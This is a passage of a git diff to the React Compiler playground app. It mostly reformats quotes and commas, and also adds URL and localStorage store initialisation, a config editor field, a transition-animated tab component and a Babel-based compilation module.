+import {memo} from 'react';
 
-export const IconGitHub = memo<JSX.IntrinsicElements["svg"]>(
+export const IconGitHub = memo<JSX.IntrinsicElements['svg']>(
   function IconGitHub(props) {
     return (
       <svg
@@ -16,10 +16,9 @@ export const IconGitHub = memo<JSX.IntrinsicElements["svg"]>(
         height="1.5em"
         viewBox="0 -2 24 24"
         fill="currentColor"
-        {...props}
-      >
+        {...props}>
         <path d="M10 0a10 10 0 0 0-3.16 19.49c.5.1.68-.22.68-.48l-.01-1.7c-2.78.6-3.37-1.34-3.37-1.34-.46-1.16-1.11-1.47-1.11-1.47-.9-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.9 1.52 2.34 1.08 2.91.83.1-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.94 0-1.1.39-1.99 1.03-2.69a3.6 3.6 0 0 1 .1-2.64s.84-.27 2.75 1.02a9.58 9.58 0 0 1 5 0c1.91-1.3 2.75-1.02 2.75-1.02.55 1.37.2 2.4.1 2.64.64.7 1.03 1.6 1.03 2.69 0 3.84-2.34 4.68-4.57 4.93.36.31.68.92.68 1.85l-.01 2.75c0 .26.18.58.69.48A10 10 0 0 0 10 0"></path>
       </svg>
     );
-  }
+  },
 );
diff --git a/compiler/apps/playground/components/Logo.tsx b/compiler/apps/playground/components/Logo.tsx
index 07ab2bd26572..bac1573239be 100644
--- a/compiler/apps/playground/components/Logo.tsx
+++ b/compiler/apps/playground/components/Logo.tsx
@@ -7,14 +7,13 @@
 
 // https://github.com/reactjs/reactjs.org/blob/main/beta/src/components/Logo.tsx
 
-export default function Logo(props: JSX.IntrinsicElements["svg"]) {
+export default function Logo(props: JSX.IntrinsicElements['svg']): JSX.Element {
   return (
     <svg
       viewBox="0 0 410 369"
       fill="none"
       xmlns="http://www.w3.org/2000/svg"
-      {...props}
-    >
+      {...props}>
       <path
         d="M204.995 224.552C226.56 224.552 244.042 207.07 244.042 185.506C244.042 163.941 226.56 146.459 204.995 146.459C183.43 146.459 165.948 163.941 165.948 185.506C165.948 207.07 183.43 224.552 204.995 224.552Z"
         fill="currentColor"
diff --git a/compiler/apps/playground/components/Message.tsx b/compiler/apps/playground/components/Message.tsx
index 95347a96932a..79041b3228e8 100644
--- a/compiler/apps/playground/components/Message.tsx
+++ b/compiler/apps/playground/components/Message.tsx
@@ -10,13 +10,13 @@ import {
   ExclamationIcon,
   InformationCircleIcon,
   XIcon,
-} from "@heroicons/react/solid";
-import { CustomContentProps, SnackbarContent, useSnackbar } from "notistack";
-import { forwardRef } from "react";
-import { MessageLevel, MessageSource } from "../lib/stores";
+} from '@heroicons/react/solid';
+import {CustomContentProps, SnackbarContent, useSnackbar} from 'notistack';
+import {forwardRef} from 'react';
+import {MessageLevel, MessageSource} from '../lib/stores';
 
 // https://notistack.com/examples/advanced/custom-component#custom-variant-(typescript)
-declare module "notistack" {
+declare module 'notistack' {
   interface VariantOverrides {
     message: {
       title: string;
@@ -34,15 +34,14 @@ interface MessageProps extends CustomContentProps {
 }
 
 const Message = forwardRef<HTMLDivElement, MessageProps>(
-  ({ id, title, level, source, codeframe }, ref) => {
-    const { closeSnackbar } = useSnackbar();
+  ({id, title, level, source, codeframe}, ref) => {
+    const {closeSnackbar} = useSnackbar();
     const isDismissible = source !== MessageSource.Playground;
 
     return (
       <SnackbarContent
         ref={ref}
-        className="flex items-start justify-between gap-3 px-4 py-3 text-sm bg-white border rounded-md shadow w-toast"
-      >
+        className="flex items-start justify-between gap-3 px-4 py-3 text-sm bg-white border rounded-md shadow w-toast">
         <div className="flex gap-3 w-toast-body">
           {level === MessageLevel.Warning ? (
             <div className="flex items-center justify-center flex-none rounded-md w-7 h-7 bg-amber-100">
@@ -69,16 +68,15 @@ const Message = forwardRef<HTMLDivElement, MessageProps>(
         {isDismissible ? (
           <button
             className="flex items-center justify-center flex-none transition-colors duration-150 ease-in rounded-md justify-self-end group w-7 h-7 hover:bg-gray-200"
-            onClick={() => closeSnackbar(id)}
-          >
+            onClick={() => closeSnackbar(id)}>
             <XIcon className="w-5 h-5 fill-gray-500 group-hover:fill-gray-800" />
           </button>
         ) : null}
       </SnackbarContent>
     );
-  }
+  },
 );
 
-Message.displayName = "MessageComponent";
+Message.displayName = 'MessageComponent';
 
 export default Message;
diff --git a/compiler/apps/playground/components/StoreContext.tsx b/compiler/apps/playground/components/StoreContext.tsx
index 2f533c50c517..3f55678edf15 100644
--- a/compiler/apps/playground/components/StoreContext.tsx
+++ b/compiler/apps/playground/components/StoreContext.tsx
@@ -5,12 +5,15 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { Dispatch, ReactNode } from "react";
-import { useReducer } from "react";
-import createContext from "../lib/createContext";
-import { emptyStore } from "../lib/defaultStore";
-import type { Store } from "../lib/stores";
-import { saveStore } from "../lib/stores";
+import type {Dispatch, ReactNode} from 'react';
+import {useState, useEffect, useReducer} from 'react';
+import createContext from '../lib/createContext';
+import {emptyStore, defaultStore} from '../lib/defaultStore';
+import {
+  saveStore,
+  initStoreFromUrlOrLocalStorage,
+  type Store,
+} from '../lib/stores';
 
 const StoreContext = createContext<Store>();
 
@@ -29,13 +32,32 @@ export const useStoreDispatch = StoreDispatchContext.useContext;
 /**
  * Make Store and dispatch function available to all sub-components in children.
  */
-export function StoreProvider({ children }: { children: ReactNode }) {
+export function StoreProvider({children}: {children: ReactNode}): JSX.Element {
   const [store, dispatch] = useReducer(storeReducer, emptyStore);
+  const [isPageReady, setIsPageReady] = useState<boolean>(false);
+
+  useEffect(() => {
+    let mountStore: Store;
+    try {
+      mountStore = initStoreFromUrlOrLocalStorage();
+    } catch (e) {
+      console.error('Failed to initialize store from URL or local storage', e);
+      mountStore = defaultStore;
+    }
+    dispatch({type: 'setStore', payload: {store: mountStore}});
+    setIsPageReady(true);
+  }, []);
+
+  useEffect(() => {
+    if (store !== emptyStore) {
+      saveStore(store);
+    }
+  }, [store]);
 
   return (
     <StoreContext.Provider value={store}>
       <StoreDispatchContext.Provider value={dispatch}>
-        {children}
+        {isPageReady ? children : null}
       </StoreDispatchContext.Provider>
     </StoreContext.Provider>
   );
@@ -43,35 +65,54 @@ export function StoreProvider({ children }: { children: ReactNode }) {
 
 type ReducerAction =
   | {
-      type: "setStore";
+      type: 'setStore';
       payload: {
         store: Store;
       };
     }
   | {
-      type: "updateFile";
+      type: 'updateSource';
       payload: {
         source: string;
       };
+    }
+  | {
+      type: 'updateConfig';
+      payload: {
+        config: string;
+      };
+    }
+  | {
+      type: 'toggleInternals';
     };
 
 function storeReducer(store: Store, action: ReducerAction): Store {
   switch (action.type) {
-    case "setStore": {
+    case 'setStore': {
       const newStore = action.payload.store;
-
-      saveStore(newStore);
       return newStore;
     }
-    case "updateFile": {
-      const { source } = action.payload;
-
+    case 'updateSource': {
+      const source = action.payload.source;
       const newStore = {
         ...store,
         source,
       };
-
-      saveStore(newStore);
+      return newStore;
+    }
+    case 'updateConfig': {
+      const config = action.payload.config;
+      const newStore = {
+        ...store,
+        config,
+      };
+      return newStore;
+    }
+    case 'toggleInternals': {
+      const newStore = {
+        ...store,
+        showInternals: !store.showInternals,
+      };
       return newStore;
     }
   }
diff --git a/compiler/apps/playground/components/TabbedWindow.tsx b/compiler/apps/playground/components/TabbedWindow.tsx
index 6d7ed3517bf7..30b7caa127f0 100644
--- a/compiler/apps/playground/components/TabbedWindow.tsx
+++ b/compiler/apps/playground/components/TabbedWindow.tsx
@@ -4,99 +4,78 @@
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
  */
+import React, {
+  startTransition,
+  useId,
+  unstable_ViewTransition as ViewTransition,
+  unstable_addTransitionType as addTransitionType,
+} from 'react';
+import clsx from 'clsx';
+import {TOGGLE_TAB_TRANSITION} from '../lib/transitionTypes';
 
-import { Resizable } from "re-resizable";
-import React, { useCallback } from "react";
-
-type TabsRecord = Map<string, React.ReactNode>;
-
-export default function TabbedWindow(props: {
-  defaultTab: string | null;
-  tabs: TabsRecord;
-  tabsOpen: Set<string>;
-  setTabsOpen: (newTab: Set<string>) => void;
-  changedPasses: Set<string>;
-}): React.ReactElement {
-  if (props.tabs.size === 0) {
-    return (
-      <div
-        className="flex items-center justify-center"
-        style={{ width: "calc(100vw - 650px)" }}
-      >
-        No compiler output detected, see errors below
-      </div>
-    );
-  }
-  return (
-    <div className="flex flex-row">
-      {Array.from(props.tabs.keys()).map((name) => {
-        return (
-          <TabbedWindowItem
-            name={name}
-            key={name}
-            tabs={props.tabs}
-            tabsOpen={props.tabsOpen}
-            setTabsOpen={props.setTabsOpen}
-            hasChanged={props.changedPasses.has(name)}
-          />
-        );
-      })}
-    </div>
-  );
-}
-
-function TabbedWindowItem({
-  name,
+export default function TabbedWindow({
   tabs,
-  tabsOpen,
-  setTabsOpen,
-  hasChanged,
+  activeTab,
+  onTabChange,
 }: {
-  name: string;
-  tabs: TabsRecord;
-  tabsOpen: Set<string>;
-  setTabsOpen: (newTab: Set<string>) => void;
-  hasChanged: boolean;
+  tabs: Map<string, React.ReactNode>;
+  activeTab: string;
+  onTabChange: (tab: string) => void;
 }): React.ReactElement {
-  const isShow = tabsOpen.has(name);
+  const id = useId();
+  const transitionName = `tab-highlight-${id}`;
 
-  const toggleTabs = useCallback(() => {
-    const nextState = new Set(tabsOpen);
-    if (nextState.has(name)) {
-      nextState.delete(name);
-    } else {
-      nextState.add(name);
-    }
-    setTabsOpen(nextState);
-  }, [tabsOpen, name, setTabsOpen]);
+  const handleTabChange = (tab: string): void => {
+    startTransition(() => {
+      addTransitionType(TOGGLE_TAB_TRANSITION);
+      onTabChange(tab);
+    });
+  };
 
   return (
-    <div key={name} className="flex flex-row">
-      {isShow ? (
-        <Resizable className="border-r" minWidth={550} enable={{ right: true }}>
-          <h2
-            title="Minimize tab"
-            aria-label="Minimize tab"
-            onClick={toggleTabs}
-            className={`p-4 duration-150 ease-in border-b cursor-pointer border-grey-200 ${hasChanged ? "font-bold" : "font-light"} text-secondary hover:text-link`}
-          >
-            - {name}
-          </h2>
-          {tabs.get(name) ?? <div>No output for {name}</div>}
-        </Resizable>
-      ) : (
-        <div className="relative items-center h-full px-1 py-6 align-middle border-r border-grey-200">
-          <button
-            title={`Expand compiler tab: ${name}`}
-            aria-label={`Expand compiler tab: ${name}`}
-            style={{ transform: "rotate(90deg) translate(-50%)" }}
-            onClick={toggleTabs}
-            className={`flex-grow-0 w-5 transition-colors duration-150 ease-in ${hasChanged ? "font-bold" : "font-light"} text-secondary hover:text-link`}
-          >
-            {name}
-          </button>
+    <div className="flex-1 min-w-[550px] sm:min-w-0">
+      <div className="flex flex-col h-full max-w-full">
+        <div className="flex p-2 flex-shrink-0">
+          {Array.from(tabs.keys()).map(tab => {
+            const isActive = activeTab === tab;
+            return (
+              <button
+                key={tab}
+                onClick={() => handleTabChange(tab)}
+                className={clsx(
+                  'transition-transform py-1.5 px-1.5 xs:px-3 sm:px-4 rounded-full text-sm relative',
+                  isActive ? 'text-link' : 'hover:bg-primary/5',
+                )}>
+                {isActive && (
+                  <ViewTransition
+                    name={transitionName}
+                    enter={{default: 'none'}}
+                    exit={{default: 'none'}}
+                    share={{
+                      [TOGGLE_TAB_TRANSITION]: 'tab-highlight',
+                      default: 'none',
+                    }}
+                    update={{default: 'none'}}>
+                    <div className="absolute inset-0 bg-highlight rounded-full" />
+                  </ViewTransition>
+                )}
+                <ViewTransition
+                  enter={{default: 'none'}}
+                  exit={{default: 'none'}}
+                  update={{
+                    [TOGGLE_TAB_TRANSITION]: 'tab-text',
+                    default: 'none',
+                  }}>
+                  <span className="relative z-1">{tab}</span>
+                </ViewTransition>
+              </button>
+            );
+          })}
         </div>
-      )}
+        <div className="flex-1 overflow-hidden w-full h-full">
+          {tabs.get(activeTab)}
+        </div>
+      </div>
     </div>
   );
 }
diff --git a/compiler/apps/playground/components/index.ts b/compiler/apps/playground/components/index.ts
index b4018dace312..7fbef4c139d4 100644
--- a/compiler/apps/playground/components/index.ts
+++ b/compiler/apps/playground/components/index.ts
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { default as Editor } from "./Editor";
-export { default as Header } from "./Header";
-export { StoreProvider } from "./StoreContext";
+export {default as Editor} from './Editor';
+export {default as Header} from './Header';
+export {StoreProvider} from './StoreContext';
diff --git a/compiler/apps/playground/hooks/index.ts b/compiler/apps/playground/hooks/index.ts
index 04ad9063af4c..99ef8f9936b4 100644
--- a/compiler/apps/playground/hooks/index.ts
+++ b/compiler/apps/playground/hooks/index.ts
@@ -5,4 +5,4 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { default as useMountEffect } from "./useMountEffect";
+export {default as useMountEffect} from './useMountEffect';
diff --git a/compiler/apps/playground/hooks/useMountEffect.ts b/compiler/apps/playground/hooks/useMountEffect.ts
index a37e0535138b..86621fe8561b 100644
--- a/compiler/apps/playground/hooks/useMountEffect.ts
+++ b/compiler/apps/playground/hooks/useMountEffect.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { EffectCallback } from "react";
-import { useEffect } from "react";
+import type {EffectCallback} from 'react';
+import {useEffect} from 'react';
 
 export default function useMountEffect(effect: EffectCallback) {
   return useEffect(effect, []);
diff --git a/compiler/apps/playground/lib/compilation.ts b/compiler/apps/playground/lib/compilation.ts
new file mode 100644
index 000000000000..b2bee8bd66d4
--- /dev/null
+++ b/compiler/apps/playground/lib/compilation.ts
@@ -0,0 +1,308 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {parse as babelParse, ParseResult} from '@babel/parser';
+import * as HermesParser from 'hermes-parser';
+import * as t from '@babel/types';
+import BabelPluginReactCompiler, {
+  CompilerError,
+  CompilerErrorDetail,
+  CompilerDiagnostic,
+  Effect,
+  ErrorCategory,
+  parseConfigPragmaForTests,
+  ValueKind,
+  type Hook,
+  PluginOptions,
+  CompilerPipelineValue,
+  parsePluginOptions,
+  printReactiveFunctionWithOutlined,
+  printFunctionWithOutlined,
+  type LoggerEvent,
+} from 'babel-plugin-react-compiler';
+import {transformFromAstSync} from '@babel/core';
+import JSON5 from 'json5';
+import type {
+  CompilerOutput,
+  CompilerTransformOutput,
+  PrintedCompilerPipelineValue,
+} from '../components/Editor/Output';
+
+function parseInput(
+  input: string,
+  language: 'flow' | 'typescript',
+): ParseResult<t.File> {
+  // Extract the first line to quickly check for custom test directives
+  if (language === 'flow') {
+    return HermesParser.parse(input, {
+      babel: true,
+      flow: 'all',
+      sourceType: 'module',
+      enableExperimentalComponentSyntax: true,
+    });
+  } else {
+    return babelParse(input, {
+      plugins: ['typescript', 'jsx'],
+      sourceType: 'module',
+    }) as ParseResult<t.File>;
+  }
+}
+
+function invokeCompiler(
+  source: string,
+  language: 'flow' | 'typescript',
+  options: PluginOptions,
+): CompilerTransformOutput {
+  const ast = parseInput(source, language);
+  let result = transformFromAstSync(ast, source, {
+    filename: '_playgroundFile.js',
+    highlightCode: false,
+    retainLines: true,
+    plugins: [[BabelPluginReactCompiler, options]],
+    ast: true,
+    sourceType: 'module',
+    configFile: false,
+    sourceMaps: true,
+    babelrc: false,
+  });
+  if (result?.ast == null || result?.code == null || result?.map == null) {
+    throw new Error('Expected successful compilation');
+  }
+  return {
+    code: result.code,
+    sourceMaps: result.map,
+    language,
+  };
+}
+
+const COMMON_HOOKS: Array<[string, Hook]> = [
+  [
+    'useFragment',
+    {
+      valueKind: ValueKind.Frozen,
+      effectKind: Effect.Freeze,
+      noAlias: true,
+      transitiveMixedData: true,
+    },
+  ],
+  [
+    'usePaginationFragment',
+    {
+      valueKind: ValueKind.Frozen,
+      effectKind: Effect.Freeze,
+      noAlias: true,
+      transitiveMixedData: true,
+    },
+  ],
+  [
+    'useRefetchableFragment',
+    {
+      valueKind: ValueKind.Frozen,
+      effectKind: Effect.Freeze,
+      noAlias: true,
+      transitiveMixedData: true,
+    },
+  ],
+  [
+    'useLazyLoadQuery',
+    {
+      valueKind: ValueKind.Frozen,
+      effectKind: Effect.Freeze,
+      noAlias: true,
+      transitiveMixedData: true,
+    },
+  ],
+  [
+    'usePreloadedQuery',
+    {
+      valueKind: ValueKind.Frozen,
+      effectKind: Effect.Freeze,
+      noAlias: true,
+      transitiveMixedData: true,
+    },
+  ],
+];
+
+export function parseConfigOverrides(configOverrides: string): any {
+  const trimmed = configOverrides.trim();
+  if (!trimmed) {
+    return {};
+  }
+  return JSON5.parse(trimmed);
+}
+
+function parseOptions(
+  source: string,
+  mode: 'compiler' | 'linter',
+  configOverrides: string,
+): PluginOptions {
+  // Extract the first line to quickly check for custom test directives
+  const pragma = source.substring(0, source.indexOf('\n'));
+
+  const parsedPragmaOptions = parseConfigPragmaForTests(pragma, {
+    compilationMode: 'infer',
+    environment:
+      mode === 'linter'
+        ? {
+            // enabled in compiler
+            validateRefAccessDuringRender: false,
+            // enabled in linter
+            validateNoSetStateInRender: true,
+            validateNoSetStateInEffects: true,
+            validateNoJSXInTryStatements: true,
+            validateNoImpureFunctionsInRender: true,
+            validateStaticComponents: true,
+            validateNoFreezingKnownMutableFunctions: true,
+            validateNoVoidUseMemo: true,
+          }
+        : {
+            /* use defaults for compiler mode */
+          },
+  });
+
+  // Parse config overrides from config editor
+  const configOverrideOptions = parseConfigOverrides(configOverrides);
+
+  const opts: PluginOptions = parsePluginOptions({
+    ...parsedPragmaOptions,
+    ...configOverrideOptions,
+    environment: {
+      ...parsedPragmaOptions.environment,
+      ...configOverrideOptions.environment,
+      customHooks: new Map([...COMMON_HOOKS]),
+    },
+  });
+
+  return opts;
+}
+
+export function compile(
+  source: string,
+  mode: 'compiler' | 'linter',
+  configOverrides: string,
+): [CompilerOutput, 'flow' | 'typescript', PluginOptions | null] {
+  const results = new Map<string, Array<PrintedCompilerPipelineValue>>();
+  const error = new CompilerError();
+  const otherErrors: Array<CompilerErrorDetail | CompilerDiagnostic> = [];
+  const upsert: (result: PrintedCompilerPipelineValue) => void = result => {
+    const entry = results.get(result.name);
+    if (Array.isArray(entry)) {
+      entry.push(result);
+    } else {
+      results.set(result.name, [result]);
+    }
+  };
+  let language: 'flow' | 'typescript';
+  if (source.match(/\@flow/)) {
+    language = 'flow';
+  } else {
+    language = 'typescript';
+  }
+  let transformOutput;
+
+  let baseOpts: PluginOptions | null = null;
+  try {
+    baseOpts = parseOptions(source, mode, configOverrides);
+  } catch (err) {
+    error.details.push(
+      new CompilerErrorDetail({
+        category: ErrorCategory.Config,
+        reason: `Unexpected failure when transforming configs! \n${err}`,
+        loc: null,
+        suggestions: null,
+      }),
+    );
+  }
+  if (baseOpts) {
+    try {
+      const logIR = (result: CompilerPipelineValue): void => {
+        switch (result.kind) {
+          case 'ast': {
+            break;
+          }
+          case 'hir': {
+            upsert({
+              kind: 'hir',
+              fnName: result.value.id,
+              name: result.name,
+              value: printFunctionWithOutlined(result.value),
+            });
+            break;
+          }
+          case 'reactive': {
+            upsert({
+              kind: 'reactive',
+              fnName: result.value.id,
+              name: result.name,
+              value: printReactiveFunctionWithOutlined(result.value),
+            });
+            break;
+          }
+          case 'debug': {
+            upsert({
+              kind: 'debug',
+              fnName: null,
+              name: result.name,
+              value: result.value,
+            });
+            break;
+          }
+          default: {
+            const _: never = result;
+            throw new Error(`Unhandled result ${result}`);
+          }
+        }
+      };
+      // Add logger options to the parsed options
+      const opts = {
+        ...baseOpts,
+        logger: {
+          debugLogIRs: logIR,
+          logEvent: (_filename: string | null, event: LoggerEvent): void => {
+            if (event.kind === 'CompileError') {
+              otherErrors.push(event.detail);
+            }
+          },
+        },
+      };
+      transformOutput = invokeCompiler(source, language, opts);
+    } catch (err) {
+      /**
+       * error might be an invariant violation or other runtime error
+       * (i.e. object shape that is not CompilerError)
+       */
+      if (err instanceof CompilerError && err.details.length > 0) {
+        error.merge(err);
+      } else {
+        /**
+         * Handle unexpected failures by logging (to get a stack trace)
+         * and reporting
+         */
+        error.details.push(
+          new CompilerErrorDetail({
+            category: ErrorCategory.Invariant,
+            reason: `Unexpected failure when transforming input! \n${err}`,
+            loc: null,
+            suggestions: null,
+          }),
+        );
+      }
+    }
+  }
+  // Only include logger errors if there weren't other errors
+  if (!error.hasErrors() && otherErrors.length !== 0) {
+    otherErrors.forEach(e => error.details.push(e));
+  }
+  if (error.hasErrors() || !transformOutput) {
+    return [{kind: 'err', results, error}, language, baseOpts];
+  }
+  return [
+    {kind: 'ok', results, transformOutput, errors: error.details},
+    language,
+    baseOpts,
+  ];
+}
diff --git a/compiler/apps/playground/lib/createContext.ts b/compiler/apps/playground/lib/createContext.ts
index f9e00ee90abe..e1a455fe4b1b 100644
--- a/compiler/apps/playground/lib/createContext.ts
+++ b/compiler/apps/playground/lib/createContext.ts
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import React from "react";
+import React from 'react';
 
 /**
  * Replacement to React.createContext.
@@ -23,15 +23,18 @@ import React from "react";
  * Instead, it throws an error when `useContext` is not called within a
  * Provider with a value.
  */
-export default function createContext<T>() {
+export default function createContext<T>(): {
+  useContext: () => NonNullable<T>;
+  Provider: React.Provider<T | null>;
+} {
   const context = React.createContext<T | null>(null);
 
-  function useContext() {
+  function useContext(): NonNullable<T> {
     const c = React.useContext(context);
     if (!c)
-      throw new Error("useContext must be within a Provider with a value");
+      throw new Error('useContext must be within a Provider with a value');
     return c;
   }
 
-  return { useContext, Provider: context.Provider };
+  return {useContext, Provider: context.Provider};
 }
diff --git a/compiler/apps/playground/lib/defaultStore.ts b/compiler/apps/playground/lib/defaultStore.ts
index 2dd56b04a8cb..9711249ff4f5 100644
--- a/compiler/apps/playground/lib/defaultStore.ts
+++ b/compiler/apps/playground/lib/defaultStore.ts
@@ -5,7 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type { Store } from "./stores";
+import type {Store} from './stores';
 
 const index = `\
 export default function MyApp() {
@@ -13,10 +13,19 @@ export default function MyApp() {
 }
 `;
 
+export const defaultConfig = `\
+{
+  //compilationMode: "all"
+}`;
+
 export const defaultStore: Store = {
   source: index,
+  config: defaultConfig,
+  showInternals: false,
 };
 
 export const emptyStore: Store = {
-  source: "",
+  source: '',
+  config: '',
+  showInternals: false,
 };
diff --git a/compiler/apps/playground/lib/reactCompilerMonacoDiagnostics.ts b/compiler/apps/playground/lib/reactCompilerMonacoDiagnostics.ts
index b5dbb03d5c5e..cece2fa7c6dd 100644
--- a/compiler/apps/playground/lib/reactCompilerMonacoDiagnostics.ts
+++ b/compiler/apps/playground/lib/reactCompilerMonacoDiagnostics.ts
@@ -5,16 +5,17 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { Monaco } from "@monaco-editor/react";
+import {Monaco} from '@monaco-editor/react';
 import {
+  CompilerDiagnostic,
   CompilerErrorDetail,
   ErrorSeverity,
-} from "babel-plugin-react-compiler/src";
-import { MarkerSeverity, type editor } from "monaco-editor";
+} from 'babel-plugin-react-compiler';
+import {MarkerSeverity, type editor} from 'monaco-editor';
 
 function mapReactCompilerSeverityToMonaco(
   level: ErrorSeverity,
-  monaco: Monaco
+  monaco: Monaco,
 ): MarkerSeverity {
   switch (level) {
     case ErrorSeverity.Todo:
@@ -25,65 +26,73 @@ function mapReactCompilerSeverityToMonaco(
 }
 
 function mapReactCompilerDiagnosticToMonacoMarker(
-  detail: CompilerErrorDetail,
-  monaco: Monaco
+  detail: CompilerErrorDetail | CompilerDiagnostic,
+  monaco: Monaco,
+  source: string,
 ): editor.IMarkerData | null {
-  if (detail.loc == null || typeof detail.loc === "symbol") {
+  const loc = detail.primaryLocation();
+  if (loc == null || typeof loc === 'symbol') {
     return null;
   }
   const severity = mapReactCompilerSeverityToMonaco(detail.severity, monaco);
-  let message = detail.printErrorMessage();
+  let message = detail.printErrorMessage(source, {eslint: true});
   return {
     severity,
     message,
-    startLineNumber: detail.loc.start.line,
-    startColumn: detail.loc.start.column + 1,
-    endLineNumber: detail.loc.end.line,
-    endColumn: detail.loc.end.column + 1,
+    startLineNumber: loc.start.line,
+    startColumn: loc.start.column + 1,
+    endLineNumber: loc.end.line,
+    endColumn: loc.end.column + 1,
   };
 }
 
 type ReactCompilerMarkerConfig = {
   monaco: Monaco;
   model: editor.ITextModel;
-  details: CompilerErrorDetail[];
+  details: Array<CompilerErrorDetail | CompilerDiagnostic>;
+  source: string;
 };
-let decorations: string[] = [];
+let decorations: Array<string> = [];
 export function renderReactCompilerMarkers({
   monaco,
   model,
   details,
+  source,
 }: ReactCompilerMarkerConfig): void {
-  let markers = [];
+  const markers: Array<editor.IMarkerData> = [];
   for (const detail of details) {
-    const marker = mapReactCompilerDiagnosticToMonacoMarker(detail, monaco);
+    const marker = mapReactCompilerDiagnosticToMonacoMarker(
+      detail,
+      monaco,
+      source,
+    );
     if (marker == null) {
       continue;
     }
     markers.push(marker);
   }
   if (markers.length > 0) {
-    monaco.editor.setModelMarkers(model, "owner", markers);
-    const newDecorations = markers.map((marker) => {
+    monaco.editor.setModelMarkers(model, 'owner', markers);
+    const newDecorations = markers.map(marker => {
       return {
         range: new monaco.Range(
           marker.startLineNumber,
           marker.startColumn,
           marker.endLineNumber,
-          marker.endColumn
+          marker.endColumn,
         ),
         options: {
           isWholeLine: true,
-          glyphMarginClassName: "bg-red-300",
+          glyphMarginClassName: 'bg-red-300',
         },
       };
     });
     decorations = model.deltaDecorations(decorations, newDecorations);
   } else {
-    monaco.editor.setModelMarkers(model, "owner", []);
+    monaco.editor.setModelMarkers(model, 'owner', []);
     decorations = model.deltaDecorations(
-      model.getAllDecorations().map((d) => d.id),
-      []
+      model.getAllDecorations().map(d => d.id),
+      [],
     );
   }
 }
diff --git a/compiler/apps/playground/lib/stores/index.ts b/compiler/apps/playground/lib/stores/index.ts
index aa00e375f106..efa299501a20 100644
--- a/compiler/apps/playground/lib/stores/index.ts
+++ b/compiler/apps/playground/lib/stores/index.ts
@@ -5,5 +5,5 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export * from "./messages";
-export * from "./store";
+export * from './messages';
+export * from './store';
diff --git a/compiler/apps/playground/lib/stores/messages.ts b/compiler/apps/playground/lib/stores/messages.ts
index 7c791386c53d..9e2b73cc831a 100644
--- a/compiler/apps/playground/lib/stores/messages.ts
+++ b/compiler/apps/playground/lib/stores/messages.ts
@@ -27,10 +27,10 @@ export interface Message {
 export function createMessage(
   message: string,
   level: MessageLevel,
-  source: MessageSource
+  source: MessageSource,
 ): Message {
-  const [title, ...body] = message.split("\n");
-  const codeframe = body.length > 0 ? body.join("\n") : undefined;
+  const [title, ...body] = message.split('\n');
+  const codeframe = body.length > 0 ? body.join('\n') : undefined;
 
   return {
     source,
diff --git a/compiler/apps/playground/lib/stores/store.ts b/compiler/apps/playground/lib/stores/store.ts
index f4178d172568..6655efa27408 100644
--- a/compiler/apps/playground/lib/stores/store.ts
+++ b/compiler/apps/playground/lib/stores/store.ts
@@ -5,33 +5,35 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import invariant from "invariant";
+import invariant from 'invariant';
 import {
   compressToEncodedURIComponent,
   decompressFromEncodedURIComponent,
-} from "lz-string";
-import { defaultStore } from "../defaultStore";
+} from 'lz-string';
+import {defaultStore, defaultConfig} from '../defaultStore';
 
 /**
  * Global Store for Playground
  */
 export interface Store {
   source: string;
+  config: string;
+  showInternals: boolean;
 }
 export function encodeStore(store: Store): string {
   return compressToEncodedURIComponent(JSON.stringify(store));
 }
-export function decodeStore(hash: string): Store {
+export function decodeStore(hash: string): any {
   return JSON.parse(decompressFromEncodedURIComponent(hash));
 }
 
 /**
  * Serialize, encode, and save @param store to localStorage and update URL.
  */
-export function saveStore(store: Store) {
+export function saveStore(store: Store): void {
   const hash = encodeStore(store);
-  localStorage.setItem("playgroundStore", hash);
-  history.replaceState({}, "", `#${hash}`);
+  localStorage.setItem('playgroundStore', hash);
+  history.replaceState({}, '', `#${hash}`);
 }
 
 /**
@@ -41,9 +43,9 @@ export function saveStore(store: Store) {
 function isValidStore(raw: unknown): raw is Store {
   return (
     raw != null &&
-    typeof raw == "object" &&
-    "source" in raw &&
-    typeof raw["source"] === "string"
+    typeof raw == 'object' &&
+    'source' in raw &&
+    typeof raw['source'] === 'string'
   );
 }
 
@@ -53,15 +55,23 @@ function isValidStore(raw: unknown): raw is Store {
  */
 export function initStoreFromUrlOrLocalStorage(): Store {
   const encodedSourceFromUrl = location.hash.slice(1);
-  const encodedSourceFromLocal = localStorage.getItem("playgroundStore");
+  const encodedSourceFromLocal = localStorage.getItem('playgroundStore');
   const encodedSource = encodedSourceFromUrl || encodedSourceFromLocal;
 
-  // No data in the URL and no data in the localStorage to fallback to.
-  // Initialize with the default store.
+  /**
+   * No data in the URL and no data in the localStorage to fallback to.
+   * Initialize with the default store.
+   */
   if (!encodedSource) return defaultStore;
 
-  const raw = decodeStore(encodedSource);
+  const raw: any = decodeStore(encodedSource);
 
-  invariant(isValidStore(raw), "Invalid Store");
-  return raw;
+  invariant(isValidStore(raw), 'Invalid Store');
+
+  // Make sure all properties are populated
+  return {
+    source: raw.source,
+    config: 'config' in raw && raw['config'] ? raw.config : defaultConfig,
+    showInternals: 'showInternals' in raw ? raw.showInternals : false,
+  };
 }
diff --git a/compiler/apps/playground/lib/transitionTypes.ts b/compiler/apps/playground/lib/transitionTypes.ts
new file mode 100644
index 000000000000..0cd9596508c6
--- /dev/null
+++ b/compiler/apps/playground/lib/transitionTypes.ts
@@ -0,0 +1,11 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
